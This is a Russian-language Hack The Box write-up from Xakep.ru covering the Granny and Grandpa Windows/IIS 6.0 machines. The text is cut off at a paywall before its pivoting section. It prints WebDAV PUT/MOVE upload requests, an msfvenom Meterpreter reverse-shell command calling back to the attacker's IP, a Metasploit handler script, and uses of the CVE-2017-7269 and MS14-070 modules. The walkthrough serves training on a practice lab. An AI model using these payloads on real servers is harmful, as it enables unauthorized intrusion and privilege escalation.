Умение пользоваться техникой pivoting — проброса трафика к жертве (и обратно) через промежуточные хосты — жизненно важный скилл для этичного хакера, он пригодится при тестировании на проникновение любой корпоративной сетки. В этой статье мы превратим прохождение двух несложных виртуалок с Hack The Box в полезную шпаргалку по проксированию соединений во время пентеста.
На заре становления Hack The Box как онлайн-площадки для тренировки вайтхетов в списке машин значились две виртуалки: Grandpa (IP: 10.10.10.14
) и Granny (IP: 10.10.10.15
). Обе эти машины нацелены на эксплуатацию уязвимостей WebDAV (набора дополнений для HTTP), и стратегии захвата их root-флагов практически не отличаются друг от друга.
Поэтому, чтобы разнообразить прохождения, мы сначала быстро рассмотрим, как можно взломать каждый из хостов по отдельности, а после этого превратим один из них в шлюз, через который атакуем второй хост.
Первой мы будем проходить виртуалку Granny. Эта машина достаточно проста (рейтинг сложности — 3,4 балла из 10), однако, как по мне, она максимально приближена к случаям из реальной жизни (по крайней мере там, где не следят за обновлениями ПО). Недаром именно такие тачки часто попадаются на сертификации OSCP в лайтовой ценовой категории.
Для начала сканируем порты и исследуем найденные сервисы.
Сканирование Nmap я провожу в два этапа: поверхностное (только SYN-пакеты, без скриптов) и точечное по найденным портам (с задействованием скриптового движка NSE и определением версий сервисов).
root@kali:~# nmap -n -Pn -oA nmap/granny-initial 10.10.10.15
root@kali:~# cat nmap/granny-initial.nmap...
Host is up (0.065s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
80/tcp open http
...
Видим только один открытый порт — 80-й, веб. Узнаем, кто там живет.
root@kali:~# nmap -n -Pn -sV -sC -oA nmap/granny-version 10.10.10.15 -p80
root@kali:~# cat nmap/granny-version.nmap...
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan:
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| WebDAV type: Unknown
| Server Date: Sat, 21 Dec 2019 18:04:11 GMT
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|_ Server Type: Microsoft-IIS/6.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
...
Итак, что у нас есть? Веб-сервер Microsoft IIS, версия 6.0. Если спросить Google, что он знает об этой ревизии IIS, то он сдаст «мелкомягких» с потрохами: Windows Server 2003.
Информации об архитектуре Windows у нас нет, поэтому пока будем считать, что это x86, ибо они были более распространены в свое время. Также скрипт http-webdav-scan.nse
оповестил нас об установленном наборе HTTP-расширений WebDAV. В общем, все намекает на то, что нам суждено отправиться на исследование веба.
Если параметры, передаваемые сканеру, кажутся неочевидными, рекомендую обратиться к прохождению машины CTF — там они описаны более подробно.
Изучим 80-й порт с разных углов: от простого браузера до специальных утилит для работы с WebDAV.
На главной странице веб-сервера (http://10.10.10.15/
) — заглушка.
Браузер оказался немногословен, поэтому постараемся расширить список наших знаний о системе заголовками HTTP-хедеров.
root@kali:~# curl -I 10.10.10.15HTTP/1.1 200 OK
Content-Length: 1433
Content-Type: text/html
Content-Location: http://10.10.10.15/iisstart.htm
Last-Modified: Fri, 21 Feb 2003 15:48:30 GMT
Accept-Ranges: bytes
ETag: "05b3daec0d9c21:348"
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Date: Sat, 21 Dec 2019 21:51:01 GMT
В заголовках ожидаемо присутствует информация о том, что используется ASP.NET. Держи в голове две базовые схемы, когда речь заходит о стеке технологий веб-разработки:
В нашем случае, так как речь идет о Windows, платформа ASP.NET выступает в роли альтернативы PHP. А это значит, что именно этот компонент стека будет средой для создания полезной нагрузки бэкдора, и было бы неплохо найти способ доставки на сервер файлов с расширением asp/aspx.
Надстройки WebDAV привносят дополнительные методы в дефолтный набор HTTP-запросов. Один из них — метод MOVE
, который позволяет перемещать (грубо говоря, переименовывать) файлы на сервере. Идея нашего злодеяния довольно проста: загрузить на веб-сервер легитимный файл и переименовать его в исполняемый, изменив расширение на asp или aspx. Таким образом мы обойдем черный список из типов файлов, которые нельзя было загрузить изначально. Эта уловка стара как мир, а в основе ее лежит небезопасная настройка веб-сервера (OSVDB-397), доверяющая метод PUT
кому угодно.
Для классификации угрозы безопасности я воспользовался нотацией OSVDB. OSVDB (Open Sourced Vulnerability Database) — опенсорсная база данных уязвимостей, которая в апреле 2016 года прекратила свое существование. Однако здесь нам на помощь пришел агрегатор ИБ-контента Vulners, который впитал в себя, в частности, и эту базу данных. Подробнее почитать о нем можно в статье «Vulners — Гугл для хакера. Как устроен лучший поисковик по уязвимостям и как им пользоваться».
Для взаимодействия с WebDAV есть несколько удобных инструментов командной строки, которыми мы и воспользуемся.
Сначала исследуем состояние безопасности с помощью davtest
. К сожалению, эта утилита не позволяет указать прокси-сервер, чтобы посмотреть, какие именно запросы были отправлены, поэтому мы пустимся на хитрость: запустим Burp Suite, перейдем на вкладку Proxy → Options и добавим еще один листенер 10.10.10.15:80
на интерфейс loopback.
Теперь я могу натравить davtest
на localhost точно так же, как на 10.10.10.15
, и все запросы полетят через проксю Burp.
root@kali:~# davtest -rand evilhacker -url localhost********************************************************
Testing DAV connection
OPEN SUCCEED: localhost
********************************************************
NOTE Random string for this session: evilhacker
********************************************************
Creating directory
MKCOL FAIL
********************************************************
Sending test files
PUT aspx FAIL
PUT php FAIL
PUT cgi FAIL
PUT jhtml FAIL
PUT html FAIL
PUT asp FAIL
PUT txt FAIL
PUT cfm FAIL
PUT pl FAIL
PUT shtml FAIL
PUT jsp FAIL
********************************************************
Несмотря на то что, по мнению davtest
, все попытки загрузить какой-либо файл на сервер провалились, мы можем открыть историю Burp и посмотреть, что же на самом деле произошло.
Как видно из скриншота, разные запросы PUT
получили разные ответы веб-сервера:
Последняя ошибка привлекла мое внимание, потому что встречается она не так часто и связана в основном с конфликтами версией загружаемого и существующего на сервере файлов.
«Этой ошибке здесь не место», — подумал я и посмотрел внимательнее на тело запроса загрузки простого текстового файла.
PUT /localhost/davtest_evilhacker.txt HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: close Host: localhost:80 User-Agent: DAV.pm/v0.49 Content-Length: 19 TXT put via davtest
Вся проблема в том, что davtest
попытался загрузить эти файлы в несуществующий каталог /localhost
. Еще раз открыв историю HTTP, я увидел запрос MKCOL
на создание директории, который также провалился с ошибкой 409. Выглядел он так.
MKCOL /localhost/DavTestDir_evilhacker/ HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: close Host: localhost:80 User-Agent: DAV.pm/v0.49 Content-Length: 0
Как нетрудно догадаться, проблема заключается в попытке создать вложенный каталог /DavTestDir_evilhacker
внутри несуществующего родителя /localhost
. Не знаю, умеет ли так делать WebDAV в принципе (смотреть спецификацию было лень; может, в комментариях подскажут), но, если попробовать создать одноуровневую директорию /localhost
, она успешно появится, и все встанет на свои места.
После этого текстовый файл успешно загрузился, а это означает, что наш план в силе и можно приступать к генерации полезной нагрузки.
Теперь у тебя есть несколько вариантов выбора полезной нагрузки, и все зависит только от конечной цели твоего проникновения в систему.
Конечно, мы выберем последний вариант.
С помощью msfvenom
создадим бэкдор с полезной нагрузкой Meterpreter для 32-битной версии Windows в формате aspx
.
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform win LHOST=10.10.14.10 LPORT=31337 -f aspx > meterpreter/m.aspx
Далее я создам скрипт автозапуска слушателя Metasploit, чтобы не вводить команды каждый раз вручную в консоли MSF.
## meterpreter/l.rc use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST tun0 set LPORT 31337 set ExitOnSession false exploit -j -z
В Kali есть инструмент с жутковатым названием cadaver (то есть «труп») — это консольный WebDAV-клиент, который облегчает взаимодействие с WebDAV из командной строки.
Я скопирую сгенерированный в msfvenom
бэкдор в текстовый файл m.txt
, загружу его на сервер и переименую в m.aspx
в интерактивной сессии cadaver
.
root@kali:~# cp meterpreter/m.aspx m.txt
root@kali:~# cadaver http://10.10.10.15dav:/> put m.txt
dav:/> move m.txt m.aspx
Теперь можно поднимать слушателя Metasploit и запускать сам файл m.aspx
на сервере (просто обратиться к нему из браузера).
root@kali:~# msfconsole -qr meterpreter/l.rc
И вот у нас уже есть сессия Meterpreter от имени NT AUTHORITYNETWORK SERVICE.
К слову, все это можно было проделать одним кликом — модуль exploit/windows/iis/iis_webdav_upload_asp
для Metasploit автоматизирует весь процесс.
Далее дело техники: запустим советчик по локальным уязвимостям и выберем наугад первый попавшийся эксплоит — благо тачка старая и выбор велик.
После минутного ожидания 29 уязвимостей были проверены, и семь из них подошли с высокой вероятностью.
Я выбрал MS14-070 — уязвимость виндового стека TCP/IP. Повышение привилегий с помощью Metasploit заняло считаные секунды, и я получил привилегированный шелл.
Магия Metasploit — это, конечно, круто, однако за кажущейся простотой часто скрываются довольно нетривиальные пассы с WinAPI. Например, на форуме Hack The Box люди часто практикуются с повышением привилегий без помощи Meterpreter.
Если заспавнить шелл и спросить whoami
, сервер ответит, что ты все еще обладаешь правами не выше NETWORK SERVICE. Происходит это из-за того, что пейлоад Meterpreter все еще инжектирован в первый процесс, который мы заарканили до повышения привилегий. Для того чтобы получить права SYSTEM из оболочки cmd, достаточно мигрировать вредоносный процесс в процесс с соответствующими привилегиями.
Я выбрал cidaemon.exe
с PID 3964
в качестве носителя и подселился к нему.
Теперь права отображаются корректно.
Дело за малым: найти и вытащить хеши (флаги) юзера и администратора. Сделаю я это с помощью Meterpreter — а именно модулей search
и download
.
Напоследок посмотрим на разрядность ОС.
meterpreter > sysinfoComputer : GRANNY
OS : Windows .NET Server (5.2 Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Domain : HTB
Logged On Users : 1
Meterpreter : x86/windows
Судя по сведениям sysinfo
, наше предположение о 32-битной природе Windows подтвердилось.
На этом виртуалку Granny считаю пройденной.
Переходим к Grandpa.
Эту тачку (рейтинг сложности — 4,5 балла из 10) я пробегу быстрее и не буду так подробно останавливаться на каждом пункте.
Так же в два этапа просканируем Nmap.
root@kali:~# nmap -n -Pn -oA nmap/grandpa-initial 10.10.10.14
root@kali:~# cat nmap/grandpa-initial.nmap...
Host is up (0.064s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
80/tcp open http
...
Результаты повторяются точь-в-точь.
root@kali:~# nmap -n -Pn -sV -sC -oA nmap/grandpa-version 10.10.10.14 -p80
root@kali:~# cat nmap/grandpa-version.nmap...
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan:
| Server Type: Microsoft-IIS/6.0
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| WebDAV type: Unknown
| Server Date: Sat, 21 Dec 2019 16:49:20 GMT
|_ Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
...
На главной странице веб-сайта висит такая же заглушка.
Единственное существенное отличие между двумя тачками, пожалуй, в типах брешей WebDAV. На этой машине доступ к загрузке файлов на сервер с помощью PUT
запрещен для любых типов файлов. Однако, помня о номере версии IIS, я воспользовался нашумевшим в свое время эксплоитом для CVE-2017-7269. Основывается он на ошибке функции ScStoragePathFromUrl
, которая содержит уязвимость переполнения буфера в строке одного из хедеров запроса PROPFIND
(из арсенала WebDAV).
Оригинальный PoC доступен на GitHub, однако я пользовался встроенным модулем Metasploit — iis_webdav_scstoragepathfromurl
.
После получения сессии Meterpreter ты можешь столкнуться с ошибкой прав доступа. Причины возникновения этого бага схожи с теми, что мы наблюдали в аналогичной ситуации при прохождении Granny: пейлоаду тесно в процессе, в котором он сидит.
Чтобы выйти из этого положения, я снова вызову Process List и мигрирую в тот процесс, который обладает нужными мне полномочиями.
Кстати, чтобы узнать, в какой процесс был проведен первичный инжект, можно воспользоваться командой netstat
до миграции и посмотреть список активных сетевых соединений.
C:windowssystem32inetsrv>netstat -vb
Здесь все идентично предыдущей тачке: для повышения привилегий я буду использовать тот же сплоит.
Для порядка я запустил поиск локальных уязвимостей, и список оказался точно таким же, как и у виртуалки Granny.
Выбрали ms14_070_tcpip_ioctl
, повысили привилегии и получили свою сессию.
Забираем награду, и Grandpa пройден!
Ну а теперь, собственно, то, ради чего мы сегодня собрались! Я продемонстрирую некоторые базовые принципы проброса соединений с помощью Metasploit.
Обозначим условия задачи. Дано:
10.10.14.30
), которая имеет прямой доступ к ВМ Granny (IP: 10.10.10.15
).10.10.10.14
).iptables
.Требуется:
Решение...
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score! Подробнее
1 год4990 р. |
1 месяц720 р. |
Я уже участник «Xakep.ru»
Читайте также
Последние новости